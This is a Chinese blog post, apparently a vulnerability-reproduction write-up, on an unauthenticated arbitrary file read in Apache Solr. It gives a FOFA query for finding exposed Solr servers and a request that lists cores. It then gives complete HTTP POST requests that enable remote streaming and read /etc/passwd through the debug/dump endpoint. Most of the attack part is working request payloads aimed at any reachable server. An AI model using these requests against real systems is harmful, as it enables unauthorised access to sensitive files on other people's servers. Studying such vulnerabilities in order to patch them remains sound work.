Apache Solr 任意文件读取漏洞复现

3 篇文章 0 订阅
1 篇文章 0 订阅

Apache Solr 任意文件读取漏洞复现

前段时间hvv的时候,发现的oday漏洞,本着学习的精神,于是我想复现了一波。Apache Solr 存在的这个任意文件读取的漏洞,攻击者可以在未授权的情况下获取到目标系统的敏感文件。

漏洞复现开始

首先我们用fofa搜索

app="APACHE-Solr"

在这里插入图片描述

然后打开首页:

在这里插入图片描述

再然后需要获取到cores的配置信息,怎么获取呢?

http://xxx/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述

这里的name就是core_name.

再然后,通过抓包工具,向服务器发送POST请求:

POST /solr/vergabe/config HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Origin: moz-extension://4c4849ce-b8f1-4d41-b9b9-5fe6c19761d1
Content-Length: 84
Connection: close

{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

在这里插入图片描述

如果返回包中出现“This response format is experimental. It is likely to change in the future.”,那么说明,这个任意文件读取的漏洞存在。接下来就该构造文件读取的请求包了。

构造一下请求读取的文件:

POST /solr/vergabe/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

stream.url=file:///etc/passwd

在这里插入图片描述

这个Apache Solr 任意文件读取漏洞的复现就算是完成了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值